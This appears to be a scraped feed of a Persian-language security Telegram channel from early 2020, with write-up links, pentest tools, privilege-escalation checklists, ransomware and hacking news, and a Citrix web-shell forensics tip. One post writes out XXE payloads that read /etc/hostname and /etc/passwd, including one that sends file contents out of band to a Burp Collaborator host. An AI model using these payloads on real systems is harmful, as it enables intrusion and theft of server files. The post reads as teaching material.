The World of Contradictions...


#off_topic

@sec_nerd

شرکت bitdefender برای باج افزار paradise برنامه رمزگشا منتشر کرد


https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool/


دانلود



#ransomware
#bitdefender
#paradise


@sec_nerd

رایت آپ با موضوع دور زدن فرایند احراز هویت

Authentication bypass

https://link.medium.com/6POLXbk7j3
https://link.medium.com/fjRpVHTkg3
https://link.medium.com/FBilq4m7j3
https://link.medium.com/5Etuo0n7j3
https://link.medium.com/Zq5cjGn7j3
https://xpoc.pro/oauth-authentication-bypass-on-airbnb-acquisition-using-weird-1-char-open-redirect
https://link.medium.com/TC85brt7j3
https://randorisec.fr/client-side-validation
https://link.medium.com/IYzPwWK7j3
https://link.medium.com/SZDewmL7j3

#bugbounty
#pentest
#writeup


@sec_nerd

ابزارهای مفید برای عملیات تست نفوذ

https://github.com/BankSecurity/Red_Team

#tools
#pentest


@sec_nerd

#citrix #shitrix CVE-2019-19781 #DFIR tip:
Check all paths that have aliases in /etc/httpd.conf where web shells can be executed. Outside of /netscaler/ , .php backdoors will work in:

/var/ns_gui/{n_top,shared,support}
/var/vpn/theme/


@sec_nerd

beta.shodan.io/search/filters #shodan #shodansafari


@sec_nerd

رایت آپ چالش جدید HTB با نام TartarSauce

https://medium.com/@ranakhalil101/hack-the-box-tartarsauce-writeup-w-o-metasploit-e73393d4a0cd


#writeup
#htb


@sec_nerd

ابزار Cobalt Strike برای بررسی و تشخیص حسابهای دارای پسوردهای ضعیف در اکتیودایرکتوری


https://github.com/outflanknl/Spray-AD


#AD
#windows
#privesc


@sec_nerd

چک لیست بالابردن سطح دسترسی در ویندوز و لینوکس

https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist


#privesc
#windows
#linux


@sec_nerd

رایت آپهای بالابردن سطح دسترسی


https://link.medium.com/9EK64aZ0p3
https://link.medium.com/i3r0isZ0p3
https://link.medium.com/RaArwKZ0p3
https://link.medium.com/z3lGkZZ0p3
https://shawarkhan.com/2019/08/leveraging-angularjs-based-xss-to-privilege-escalation.html
https://link.medium.com/C8SKRh00p3
https://whitehatfamilyguy.blogspot.com/2019/06/google-adwordsprivilege-escalation-read.html
https://link.medium.com/SvC3cI00p3
https://gauravnarwani.com/priv-esc-highest-admin

#bugbounty
#writeup
#privesc


@sec_nerd

اکسپلویت کردن آسیب پذیری XXE

https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9

#writeup
#xxe
#pentest


@sec_nerd

آسیب پذیری که پسورد paypal شما را نمایان میکند!

https://medium.com/@alex.birsan/the-bug-that-exposed-your-paypal-password-539fc2896da9


#writeup
#paypal
#bugbounty


@sec_nerd

رایت آپ کشف آسیب پذیری XSS در SMC Networks

https://sku11army.blogspot.com/2020/01/smc-networks-stored-cross-site.html


#bugbounty
#xss
#writeup


@sec_nerd

برخی روش های استفاده از آسیب پذیری XXE

XXE via File Upload

<!DOCTYPE test [ <!E NTITY xxe SYSTEM "file:/// etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="https://w3.org/2000/svg" ....version="1.1">
<text font-size="40" x="0" y="16"> &xxe;



XXE Attacks via Modified Content Type

POST /hackingman HTTP/1.0
Content-Type: text/html
Content-Length: 7
<?xml version="1.0" encoding="UTF-8"><cicada>3301</cicada>



Exploiting Blind XXE to Exfiltrate Data Out-of-Band

<!ENTI TY % file SYSTEM "f ile:/ //etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfi ltrate SYSTEM 'https://im81nr4zhac2lafxnm997qwk6bc20r.burpcollaborator.net/?x=%file;'>">
%ev al;
%exfiltrate;



Exploiting blind XXE to retrieve data via error messages

<!EN ITY % file SYSTEM "fil e:///etc/pa sswd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///none xistent/%file;'>">
%eval;
%error;




#xxe


@sec_nerd

پنجاه مسیر و فایلی که در اسکن های ۲۴ ساعت گذشته توسط اسکنرها بررسی شده اند

اغلب این درخواستها به citrix مرتبط هستند



#citrix
#pentest


@sec_nerd

باج افزار جدیدی با نام BitPyLock قبل از رمزنگاری اطلاعات، آنها را میدزدد و تهدید به انتشار داده ها میکند.
این باج افزار در نسخه های جدید خود برای رمزگشایی از تمام شبکه ی آلوده ۵ بیت کوین درخواست می نماید.


اطلاعات بیشتر:
https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/


#ransomware
#news

@sec_nerd

استخراج لیست ارتباطات RDP با استفاده از اسکریپت پاورشل

https://github.com/3gstudent/List-RDP-Connections-History


#ps
#windows
#rdp


@sec_nerd

محمدبن سلمان، شاهزاده ی سعودی متهم به هک کردن گوشی مالک آمازون Jeff Bezos !

بنابر گزارش گاردین بن سلمان پس از سفرهای متوالی به امریکا و ارتباط با بخش تکنولوژی این کشور و برقراری رابطه های نزدیک با مالکان شرکت های بزرگ، با جلب اعتماد آنها اقدام به آلوده کردن گوشی Jeff Bezos کرده است!
طبق این گزارش بن سلمان فایل ویدیویی را در واتس اپ برای جف ارسال کرده است که منشاء اصلی آلوده شدن و استخراج اطلاعات شخصی از تلفن همراه او بوده.
سعودی ها که در مسئله قتل جمال خاشقچی متهم اصلی ماجرا هستند اکنون متهم به هک کردن گوشی مالک آمازون شده اند.
طبق تحقیقات تیم امنیتی آمازون، عملیات هک گوشی جف دقیقا بعد از ارسال یک فایل از سوی محمدبن سلمان برای جف آغاز شده و برخی کارشناسان سعودی معتقدند جف به این دلیل هدف قرار گرفته است که وی مالک واشنگتن پست است و این روزنامه تمرکز زیادی بر روی قتل جمال خاشقچی دارد (جمال خبرنگار واشنگتن پست بود) و این مسئله باعث ایجاد اختلال در فعالیت های بن سلمان در نظام پادشاهی سعودی شده است.
هرچند سفارت سعودی در امریکا این اتهامات را چرند خوانده است اما تحقیقات تیم امنیتی آمازون بر روی این مسئله ادامه دارد.


https://www.theguardian.com/technology/2020/jan/21/amazon-boss-jeff-bezoss-phone-hacked-by-saudi-crown-prince


نکته: تصور کنید که گوشی مالک آمازون هک شده، فکر میکنید مسئولان و سیاستمداران کشور ما چقدر در امان هستند از این حملات؟ در مذاکرات و جلسات مختلف چقدر مسئولان ما دقت میکنن به اهمیت این موضوع؟ ممکنه عده ای بگن که مسئولان ما خیلی حواسشون هست و در هیچ جلسه ای حتی گوشی هم نمیبرن اما پیشنهاد میکنم کتاب «بدون هراس» وندی شرمن رو بخونید تا ببینید چقدر اینها مراقبن!!



#news
#ksa
#usa
#amazon
#scandal



@sec_nerd